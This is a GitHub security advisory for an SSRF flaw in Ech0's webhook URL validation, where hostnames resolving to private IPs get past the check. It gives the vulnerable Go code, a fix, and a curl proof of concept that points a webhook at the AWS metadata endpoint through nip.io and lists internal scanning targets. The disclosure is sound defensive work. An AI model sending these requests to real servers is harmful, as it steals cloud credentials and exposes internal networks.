GHSA-R2X7-427F-RQ69
Vulnerability from github – Published: 2026-04-10 19:49 – Updated: 2026-04-10 19:49Summary
The validateWebhookURL function in webhook_setting_service.go attempts to block webhooks targeting private/internal IP addresses, but only checks literal IP strings via net.ParseIP(). Hostnames that DNS-resolve to private IPs (e.g., 169.254.169.254.nip.io, 10.0.0.1.nip.io) bypass all checks, allowing an admin to create webhooks that make server-side requests to internal network services and cloud metadata endpoints.
Details
The vulnerability is in validateWebhookURL (internal/service/setting/webhook_setting_service.go:180-199):
func validateWebhookURL(rawURL string) error {
parsed, err := url.Parse(rawURL)
// ...
host := strings.ToLower(parsed.Hostname())
if host == "" || host == "localhost" || strings.HasSuffix(host, ".local") {
return errors.New(commonModel.INVALID_WEBHOOK_URL)
}
if ip := net.ParseIP(host); ip != nil { // <-- returns nil for hostnames
if ip.IsLoopback() || ip.IsPrivate() || ip.IsLinkLocalMulticast() ||
ip.IsLinkLocalUnicast() || ip.IsUnspecified() {
return errors.New(commonModel.INVALID_WEBHOOK_URL)
}
}
return nil // hostname passes all checks unchecked
}
net.ParseIP("169.254.169.254.nip.io") returns nil because it is not a literal IP address. The entire private IP check block is skipped, and the function returns nil (valid).
Both HTTP clients that execute webhook requests use standard http.Client / http.Transport with no custom DialContext to verify resolved IPs:
- TestWebhook (
webhook_setting_service.go:169):&http.Client{Timeout: 5 * time.Second} - Dispatcher (
dispatcher.go:51-58):&http.Client{...Transport: &http.Transport{...}}— no custom dialer
The Dispatcher.HandleObservation (dispatcher.go:67-81) iterates all active webhooks and dispatches without re-validating URLs, so a stored malicious webhook triggers SSRF on every application event.
Execution flow:
1. Admin calls POST /api/webhook with URL http://169.254.169.254.nip.io/latest/meta-data/
2. CreateWebhook → validateWebhookURL → net.ParseIP returns nil → passes validation
3. Webhook stored in database with is_active: true
4. On any echo event → Dispatcher.HandleObservation → Dispatch → SendWithRetry → DNS resolves 169.254.169.254.nip.io to 169.254.169.254 → POST to cloud metadata endpoint
PoC
# Step 1: Create a webhook targeting cloud metadata via DNS rebinding
curl -X POST http://localhost:8080/api/webhook \
-H 'Authorization: Bearer <admin-jwt>' \
-H 'Content-Type: application/json' \
-d '{"name":"ssrf-probe","url":"http://169.254.169.254.nip.io/latest/meta-data/","secret":"","is_active":true}'
# Step 2: Trigger SSRF via test endpoint
curl -X POST http://localhost:8080/api/webhook/<webhook-id>/test \
-H 'Authorization: Bearer <admin-jwt>'
# The server makes an HTTP POST to 169.254.169.254 (AWS metadata).
# net.ParseIP("169.254.169.254.nip.io") returns nil, skipping all IP checks.
# Delivery status and error messages reveal connectivity information.
# For internal network scanning:
# http://10.0.0.1.nip.io:8080/
# http://127.0.0.1.nip.io:6379/
# With is_active:true, every application event automatically dispatches
# to the SSRF target via Dispatcher.HandleObservation (no re-validation).
Impact
- Cloud metadata access: An admin can reach cloud instance metadata endpoints (AWS
169.254.169.254, GCP, Azure) to steal IAM credentials, instance identity tokens, and configuration data. - Internal network probing: Webhooks can scan internal services by observing delivery status (
success/failed) and error messages, mapping internal network topology. - Persistent SSRF: Active webhooks fire on every application event via the Dispatcher, creating ongoing SSRF without further admin interaction.
- Scope escalation: Impact escapes the application's security boundary to affect internal infrastructure, despite the application explicitly attempting to prevent this.
Recommended Fix
Replace the hostname-only check with a custom net.Dialer that resolves DNS and validates the resolved IP before connecting. Apply this to both HTTP clients:
import "net"
func safeDialContext(ctx context.Context, network, addr string) (net.Conn, error) {
host, port, err := net.SplitHostPort(addr)
if err != nil {
return nil, err
}
ips, err := net.DefaultResolver.LookupIPAddr(ctx, host)
if err != nil {
return nil, err
}
for _, ip := range ips {
if ip.IP.IsLoopback() || ip.IP.IsPrivate() || ip.IP.IsLinkLocalUnicast() ||
ip.IP.IsLinkLocalMulticast() || ip.IP.IsUnspecified() {
return nil, fmt.Errorf("resolved IP %s is not allowed", ip.IP)
}
}
dialer := &net.Dialer{Timeout: 5 * time.Second}
return dialer.DialContext(ctx, network, addr)
}
// Use in both TestWebhook and Dispatcher:
client := &http.Client{
Timeout: 5 * time.Second,
Transport: &http.Transport{
DialContext: safeDialContext,
},
}
This ensures resolved IPs are checked against the private range blocklist regardless of hostname used.
{
"affected": [
{
"package": {
"ecosystem": "Go",
"name": "github.com/lin-snow/ech0"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "4.4.3"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [],
"database_specific": {
"cwe_ids": [
"CWE-918"
],
"github_reviewed": true,
"github_reviewed_at": "2026-04-10T19:49:48Z",
"nvd_published_at": null,
"severity": "MODERATE"
},
"details": "## Summary\n\nThe `validateWebhookURL` function in `webhook_setting_service.go` attempts to block webhooks targeting private/internal IP addresses, but only checks literal IP strings via `net.ParseIP()`. Hostnames that DNS-resolve to private IPs (e.g., `169.254.169.254.nip.io`, `10.0.0.1.nip.io`) bypass all checks, allowing an admin to create webhooks that make server-side requests to internal network services and cloud metadata endpoints.\n\n## Details\n\nThe vulnerability is in `validateWebhookURL` (`internal/service/setting/webhook_setting_service.go:180-199`):\n\n```go\nfunc validateWebhookURL(rawURL string) error {\n parsed, err := url.Parse(rawURL)\n // ...\n host := strings.ToLower(parsed.Hostname())\n if host == \"\" || host == \"localhost\" || strings.HasSuffix(host, \".local\") {\n return errors.New(commonModel.INVALID_WEBHOOK_URL)\n }\n if ip := net.ParseIP(host); ip != nil { // \u003c-- returns nil for hostnames\n if ip.IsLoopback() || ip.IsPrivate() || ip.IsLinkLocalMulticast() ||\n ip.IsLinkLocalUnicast() || ip.IsUnspecified() {\n return errors.New(commonModel.INVALID_WEBHOOK_URL)\n }\n }\n return nil // hostname passes all checks unchecked\n}\n```\n\n`net.ParseIP(\"169.254.169.254.nip.io\")` returns `nil` because it is not a literal IP address. The entire private IP check block is skipped, and the function returns `nil` (valid).\n\nBoth HTTP clients that execute webhook requests use standard `http.Client` / `http.Transport` with no custom `DialContext` to verify resolved IPs:\n\n- **TestWebhook** (`webhook_setting_service.go:169`): `\u0026http.Client{Timeout: 5 * time.Second}`\n- **Dispatcher** (`dispatcher.go:51-58`): `\u0026http.Client{...Transport: \u0026http.Transport{...}}` \u2014 no custom dialer\n\nThe `Dispatcher.HandleObservation` (`dispatcher.go:67-81`) iterates all active webhooks and dispatches without re-validating URLs, so a stored malicious webhook triggers SSRF on every application event.\n\n**Execution flow:**\n1. Admin calls POST `/api/webhook` with URL `http://169.254.169.254.nip.io/latest/meta-data/`\n2. `CreateWebhook` \u2192 `validateWebhookURL` \u2192 `net.ParseIP` returns nil \u2192 passes validation\n3. Webhook stored in database with `is_active: true`\n4. On any echo event \u2192 `Dispatcher.HandleObservation` \u2192 `Dispatch` \u2192 `SendWithRetry` \u2192 DNS resolves `169.254.169.254.nip.io` to `169.254.169.254` \u2192 POST to cloud metadata endpoint\n\n## PoC\n\n```bash\n# Step 1: Create a webhook targeting cloud metadata via DNS rebinding\ncurl -X POST http://localhost:8080/api/webhook \\\n -H \u0027Authorization: Bearer \u003cadmin-jwt\u003e\u0027 \\\n -H \u0027Content-Type: application/json\u0027 \\\n -d \u0027{\"name\":\"ssrf-probe\",\"url\":\"http://169.254.169.254.nip.io/latest/meta-data/\",\"secret\":\"\",\"is_active\":true}\u0027\n\n# Step 2: Trigger SSRF via test endpoint\ncurl -X POST http://localhost:8080/api/webhook/\u003cwebhook-id\u003e/test \\\n -H \u0027Authorization: Bearer \u003cadmin-jwt\u003e\u0027\n\n# The server makes an HTTP POST to 169.254.169.254 (AWS metadata).\n# net.ParseIP(\"169.254.169.254.nip.io\") returns nil, skipping all IP checks.\n# Delivery status and error messages reveal connectivity information.\n\n# For internal network scanning:\n# http://10.0.0.1.nip.io:8080/\n# http://127.0.0.1.nip.io:6379/\n\n# With is_active:true, every application event automatically dispatches\n# to the SSRF target via Dispatcher.HandleObservation (no re-validation).\n```\n\n## Impact\n\n- **Cloud metadata access:** An admin can reach cloud instance metadata endpoints (AWS `169.254.169.254`, GCP, Azure) to steal IAM credentials, instance identity tokens, and configuration data.\n- **Internal network probing:** Webhooks can scan internal services by observing delivery status (`success`/`failed`) and error messages, mapping internal network topology.\n- **Persistent SSRF:** Active webhooks fire on every application event via the Dispatcher, creating ongoing SSRF without further admin interaction.\n- **Scope escalation:** Impact escapes the application\u0027s security boundary to affect internal infrastructure, despite the application explicitly attempting to prevent this.\n\n## Recommended Fix\n\nReplace the hostname-only check with a custom `net.Dialer` that resolves DNS and validates the resolved IP before connecting. Apply this to both HTTP clients:\n\n```go\nimport \"net\"\n\nfunc safeDialContext(ctx context.Context, network, addr string) (net.Conn, error) {\n host, port, err := net.SplitHostPort(addr)\n if err != nil {\n return nil, err\n }\n ips, err := net.DefaultResolver.LookupIPAddr(ctx, host)\n if err != nil {\n return nil, err\n }\n for _, ip := range ips {\n if ip.IP.IsLoopback() || ip.IP.IsPrivate() || ip.IP.IsLinkLocalUnicast() ||\n ip.IP.IsLinkLocalMulticast() || ip.IP.IsUnspecified() {\n return nil, fmt.Errorf(\"resolved IP %s is not allowed\", ip.IP)\n }\n }\n dialer := \u0026net.Dialer{Timeout: 5 * time.Second}\n return dialer.DialContext(ctx, network, addr)\n}\n\n// Use in both TestWebhook and Dispatcher:\nclient := \u0026http.Client{\n Timeout: 5 * time.Second,\n Transport: \u0026http.Transport{\n DialContext: safeDialContext,\n },\n}\n```\n\nThis ensures resolved IPs are checked against the private range blocklist regardless of hostname used.",
"id": "GHSA-r2x7-427f-rq69",
"modified": "2026-04-10T19:49:49Z",
"published": "2026-04-10T19:49:48Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/lin-snow/Ech0/security/advisories/GHSA-r2x7-427f-rq69"
},
{
"type": "PACKAGE",
"url": "https://github.com/lin-snow/Ech0"
},
{
"type": "WEB",
"url": "https://github.com/lin-snow/Ech0/releases/tag/v4.4.3"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:L/I:L/A:N",
"type": "CVSS_V3"
}
],
"summary": "Ech0 has SSRF via DNS Resolution Bypass in Webhook URL Validation"
}
Sightings
| Author | Source | Type | Date | Other |
|---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or observed by the user.
- Confirmed: The vulnerability has been validated from an analyst's perspective.
- Published Proof of Concept: A public proof of concept is available for this vulnerability.
- Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
- Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
- Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
- Not confirmed: The user expressed doubt about the validity of the vulnerability.
- Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.